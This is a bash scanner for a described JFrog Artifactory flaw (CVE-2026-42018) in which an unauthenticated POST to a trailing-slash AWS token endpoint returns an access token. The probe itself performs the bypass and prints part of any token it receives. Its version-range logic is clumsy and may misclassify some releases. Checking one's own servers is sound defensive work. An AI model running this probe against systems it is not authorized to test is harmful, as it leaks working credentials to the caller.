JFrog Artifactory Anonymous-User Token Disclosure via Trailing-Slash Bypass

#!/usr/bin/env bash
# check_cve_2026_42018.sh — CVE-2026-42018 JFrog Artifactory anonymous token leak checker
# Usage: bash check_cve_2026_42018.sh <ARTIFACTORY_BASE_URL>
# Exit codes: 0 = PATCHED, 1 = VULNERABLE, 2 = UNKNOWN

set -euo pipefail

BASE_URL="${1:?Usage: $0 <ARTIFACTORY_BASE_URL>}"
BASE_URL="${BASE_URL%/}"  # strip trailing slash

echo "[*] Testing CVE-2026-42018 against: ${BASE_URL}"
echo

# Step 1: Probe the trailing-slash endpoint
echo "[*] Step 1: Probing POST ${BASE_URL}/access/api/v1/aws/token/ ..."
HTTP_CODE=$(curl -sk -o /tmp/cve_2026_42018_resp.json -w '%{http_code}' \
  -X POST "${BASE_URL}/access/api/v1/aws/token/" \
  -H 'Content-Type: application/json' \
  -d '{}' \
  --connect-timeout 10 --max-time 15 2>/dev/null || echo "000")

echo "    HTTP response code: ${HTTP_CODE}"

if [[ "${HTTP_CODE}" == "200" ]]; then
  # Check if response contains a token
  if grep -qi '"access_token"\|"token_type"\|"jwt"' /tmp/cve_2026_42018_resp.json 2>/dev/null; then
    echo
    echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
    echo "  RESULT: VULNERABLE"
    echo "  The endpoint returned a token to an unauthenticated caller."
    echo "  This instance is exploitable via CVE-2026-42018."
    echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
    echo
    echo "[!] Response preview (first 200 chars):"
    head -c 200 /tmp/cve_2026_42018_resp.json 2>/dev/null
    echo
    rm -f /tmp/cve_2026_42018_resp.json
    exit 1
  fi
fi

if [[ "${HTTP_CODE}" == "401" || "${HTTP_CODE}" == "403" || "${HTTP_CODE}" == "404" || "${HTTP_CODE}" == "405" ]]; then
  echo
  echo "  RESULT: PATCHED"
  echo "  The endpoint correctly rejected the unauthenticated request (HTTP ${HTTP_CODE})."
  rm -f /tmp/cve_2026_42018_resp.json
  exit 0
fi

# Step 2: Fallback — try to determine version from system info
echo
echo "[*] Step 2: Attempting version check via /api/system/version ..."
VER_RESP=$(curl -sk --connect-timeout 10 --max-time 10 "${BASE_URL}/api/system/version" 2>/dev/null || true)
VERSION=$(echo "${VER_RESP}" | grep -oP '"version"\s*:\s*"\K[0-9.]+' 2>/dev/null || true)

if [[ -n "${VERSION}" ]]; then
  echo "    Detected Artifactory version: ${VERSION}"
  # Parse major.minor.patch
  IFS='.' read -r MAJOR MINOR PATCH <<< "${VERSION}"
  MINOR=${MINOR:-0}
  PATCH=${PATCH:-0}
  
  VULN=0
  if (( MAJOR < 7 )); then
    VULN=1
  elif (( MAJOR == 7 )); then
    if (( MINOR < 111 )); then
      VULN=1
    elif (( MINOR == 111 && PATCH < 20 )); then
      VULN=1
    elif (( MINOR >= 117 && MINOR <= 117 && PATCH < 27 )); then
      VULN=1
    elif (( MINOR >= 125 && MINOR <= 125 && PATCH < 19 )); then
      VULN=1
    elif (( MINOR >= 133 && MINOR <= 133 && PATCH < 28 )); then
      VULN=1
    elif (( MINOR >= 146 && MINOR <= 146 && PATCH < 8 )); then
      VULN=1
    fi
  fi
  
  if (( VULN == 1 )); then
    echo
    echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
    echo "  RESULT: VULNERABLE (by version)"
    echo "  Artifactory ${VERSION} is in the affected range."
    echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
    rm -f /tmp/cve_2026_42018_resp.json
    exit 1
  else
    echo
    echo "  RESULT: PATCHED (by version)"
    echo "  Artifactory ${VERSION} is at or above the fix level."
    rm -f /tmp/cve_2026_42018_resp.json
    exit 0
  fi
fi

echo
echo "  RESULT: UNKNOWN"
echo "  Could not determine vulnerability status. HTTP code: ${HTTP_CODE}"
echo "  Verify manually or check the Artifactory version in the admin console."
rm -f /tmp/cve_2026_42018_resp.json
exit 2